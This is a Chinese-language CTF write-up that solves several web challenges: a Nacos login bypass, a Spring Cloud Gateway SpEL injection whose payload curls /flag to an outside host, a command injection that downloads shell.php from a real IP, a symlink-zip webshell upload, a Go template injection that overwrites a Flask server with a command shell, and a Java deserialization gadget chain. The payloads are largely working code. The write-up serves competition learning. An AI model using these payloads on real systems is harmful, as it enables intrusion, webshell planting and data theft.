BackendService
首先是个nacos,存在权限绕过漏洞,随便输一个账号登录,修改返回包
1 2 3 4 5 6 7
| HTTP/1.1 200 Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY2MjM3OTIzOX0.GZbjTD75xkk4FjjDpYLEGcmbbUNw-sUepsn65xiSeU8 Content-Type: application/json;charset=UTF-8 Date: Mon, 05 Sep 2022 07:00:39 GMT Connection: close Content-Length: 181 {"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY2MjM3OTIzOX0.GZbjTD75xkk4FjjDpYLEGcmbbUNw-sUepsn65xiSeU8","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}
|
登入系统
然后根据源码发现是springcloud绑定了nacos,查看springcloud版本为3.0.5存在spel注入漏洞,根据文章来复现
https://xz.aliyun.com/t/11493#toc-3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| spring: cloud: gateway: routes: - id: exam order: 0 uri: lb://service-provider predicates: - Path=/echo/** filters: - name: AddResponseHeader args: name: result value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'id'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
|
因为给的backend服务里写了配置要以json改,找个在线转换的即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| { "spring": { "cloud": { "gateway": { "routes": [ { "id": "exam", "order": 0, "uri": "lb://service-provider", "predicates": [ "Path=/echo/**" ], "filters": [ { "name": "AddResponseHeader", "args": { "name": "result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','-X','POST','-F','xx=@/flag','http://xxxxx'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}" } } ] } ] } } } }
|
dumpit
存在一个命令拼贴
[http://eci-2ze2alj3efo7ucqu86a3.cloudeci1.ichunqiu.com:8888/?db=&table_2_dump=1%0acurl%20http://114.116.119.253:7777%0a](http://eci-2ze2alj3efo7ucqu86a3.cloudeci1.ichunqiu.com:8888/?db=&table_2_dump=1%0acurl%20http://114.116.119.253:7777%0a)
1
| http://eci-2ze2alj3efo7ucqu86a3.cloudeci1.ichunqiu.com:8888/?db=&table_2_dump=1%0acurl%20http://114.116.119.253:7777/shell.php%20-o%20./log/shell.php
|
进而写入shell。最终env查看flag
unzip
拿了个一血
1 2 3 4 5 6 7 8 9 10 11
| <?php error_reporting(0); highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE); if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){ exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]); };
|
然后就可以很容易的知道这就是一个ln软连接写shell而已了
我们再自己的linux中先
将网站根目录创建一个软连接
然后zip -y shell.zip poc,把这个软连接文件压缩为zip
然后在mkdir poc
之后再poc文件夹里写一个shell
最后zip -r poc.zip poc
把这个文件夹压缩为一个zip
最后我们分别依次上传这2个zip就可以获得webshell
go_session(复现)
这一题属于是考虑错了地方。有点小可惜的,距离解出来就差一点点,很可惜的啊,我是准备了备份文件的,这边我就先搭建一下环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package route
import ( "github.com/flosch/pongo2/v4" "github.com/gin-gonic/gin" "github.com/gorilla/sessions" "html" "io" "net/http" )
var store = sessions.NewCookieStore([]byte(""))
func Index(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] == nil { session.Values["name"] = "admin" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } }
c.String(200, "Hello, guest") }
func Admin(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] != "admin" { http.Error(c.Writer, "N0", http.StatusInternalServerError) return } name := c.DefaultQuery("name", "ssti") xssWaf := html.EscapeString(name) tpl, err := pongo2.FromString("Hello " + xssWaf + "!") if err != nil { panic(err) } out, err := tpl.Execute(pongo2.Context{"c": c}) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } c.String(200, out) }
func Flask(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] == nil { if err != nil { http.Error(c.Writer, "N0", http.StatusInternalServerError) return } } resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest")) if err != nil { return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body)
c.String(200, string(body)) }
|
main.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package main
import ( "github.com/gin-gonic/gin" "main/route" )
func main() { r := gin.Default() r.GET("/", route.Index) r.GET("/admin", route.Admin) r.GET("/flask", route.Flask) r.Run("0.0.0.0:80") }
|
提供了3个路由,其中flask对应的就是后端的flask,他们都是运行在一个系统上的,我们可以通过访问localhost/flask?name=/
让他debug报错获取源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from flask import Flask
app = Flask(__name__)
d = { "h": "hello world!" } @app.route("/") def hello(): return "hello"
if __name__ == "__main__": app.run(host="127.0.0.1", port=5000, debug=True)
|
当然这是我编的源码,国赛上的也和这个基本一样,没啥影响,然后呢你就可以发现就是一个普通的flask服务,开启了debug,但是我由于经验不足,看到debug默认想到的地方是算pin,忽略了可以文件热部署的情况,因此这是我的失误,导致这一题没拿下了。
那么我们的思路就很简单,通过go的ssti去文件覆盖flask的server.py即可
我们注意一下这一点,他在tpl.execute的时候是把c也放进去了的,这个c代表着gin里的上下文对象,这样我们就可以引用Context
下的所有函数了。但是我对gin框架不是很熟悉,所以没考虑到这一点
我们其实是可以通过c.SaveUploadedFile(file, file.Filename)
的方法,最后的payload是
{{c.SaveUploadedFile(c.FormFile(c.Request.Header.Accept.0),c.Request.Header.Referer.0)}}
go源码里有一段waf,会过滤引号,所以我们和flask一样通过request对象可以逃逸,当时就在这里止步了。不知道去覆盖,可惜呀,那现在来实操一下。
想要SSTI首先你还得准备key呢,这里很傻逼,key是空的。。。。。所以你只需要本地起一个空key的环境就行了,所以这里就不赘述,接下来是复现步骤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.Header.Accept.0),c.Request.Header.Referer.0)}} HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: filename Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Referer: E:\\ Accept-Encoding: gzip, deflate Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrxtSm5i2S6anueQi Cookie: session-name=MTY4NTQxODc4MXxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXy7WOrYaP386kpRTizyXWrsODK1UE5c9AocfIk5qtTjkA== Upgrade-Insecure-Requests: 1 Content-Length: 591
------WebKitFormBoundaryrxtSm5i2S6anueQi Content-Disposition: form-data; name="filename"; filename="server.py" Content-Type: text/plain
from flask import Flask, request import os
app = Flask(__name__)
@app.route('/shell') def shell(): cmd = request.args.get('cmd') if cmd: return os.popen(cmd).read() else: return 'shell'
if __name__== "__main__": app.run(host="127.0.0.1",port=5000,debug=True) ------WebKitFormBoundaryrxtSm5i2S6anueQi Content-Disposition: form-data; name="submit"
提交 ------WebKitFormBoundaryrxtSm5i2S6anueQi--
|
这里由于是windows覆盖的好像有点问题。大致就是这样害。。
DeserBug(复现)
比较简单的java题只不过我没做出来,红温高烧加持下让我思考不了。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| package org.example;
import cn.hutool.json.JSONObject; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class DeserExp implements Serializable { public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("E:\\CTFLearning\\JackSonPOJO\\target\\classes\\org\\example\\b.class"));
setValue(templatesimpl,"_name","fuck"); setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); Myexcpt myexcpt = new Myexcpt(); myexcpt.setTargetclass(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class); myexcpt.setTypeparam(new Class[]{Templates.class}); myexcpt.setTypearg(new Templates[]{templatesimpl}); JSONObject jsonObject = new JSONObject(); Map<Object,Object> lazymap = LazyMap.decorate(jsonObject,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa"); HashMap<Object, Object> hashMap=new HashMap<>(); hashMap.put(tiedMapEntry,"bbb"); jsonObject.remove("aaa"); Field factory = LazyMap.class.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazymap,new ConstantTransformer(myexcpt)); System.out.println(serial(hashMap));
}
public static String serial(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static void cserialize(Object obj) throws Exception { ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object cunserialize(String filename) throws Exception { ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename)); Object obj=ois.readObject(); return obj; } }
|
遇到了点小问题,不过问题不大。。。POC综上所述。我就调试一下,断点给在JSONOBJECT的put方法里
首先是因为cc6中lazymap会触发put的原因,这里的jsonobject是map的子类,因此可以放入lazymap中进行decorate,进而触发到put,这里的value我们用constanttransformer把题目的bean套起来了,继续跟进
经过三次的put最终进入父类的put方法,value就是题目所给的bean
他会先进行校验,看看是否合规,然后进行warp
在这wrap函数里会进行一次isJDKCLASS判断
如果我们放进去的obj是原生类那么就直接触发它的toString,如果不是原生类就实例化JsonObject(这也就是我当时卡在的地方,当时提前弹计算机就是我poc里提前new JSONOBJECT了),这里显然不是原生类,所以实例化
调用ObjectMapper的of方法
这个source就是之前的obj,我们自定义的
然后进入map方法,getter是在这里获取的
到这里obj又换了个名字叫做bean,可以看得出来准备要获取getter了
进入create方法
然后进入BeanCopier
方法里里面又调用了BeanToMapCopier
方法
然后看到这里,恭喜你只是看完了实例化,我调这的时候也被骗了,之后回到create方法外面,beantoMap方法最后面还有个copy方法
然后进入foreach方法
这里有一个很重要的点就是sourcePropDescMap
的获取,这个对象包含着我们bean的所有信息,包括getter和filed,我们看看他是怎么获取的。
首先进入getBeanDesc获取初步信息
最后会到BeanDesc的初始化方法里进行init
在这一部用Reflectionutil获取getter。这就完结了,将获取到的getter去创建一个prop
获取到后退回copy方法,调用getValue的时候触发getter,不要忘了上面的细节,这个只接受非原生类
弹出计算机,结束。
Reading
烂题不想复现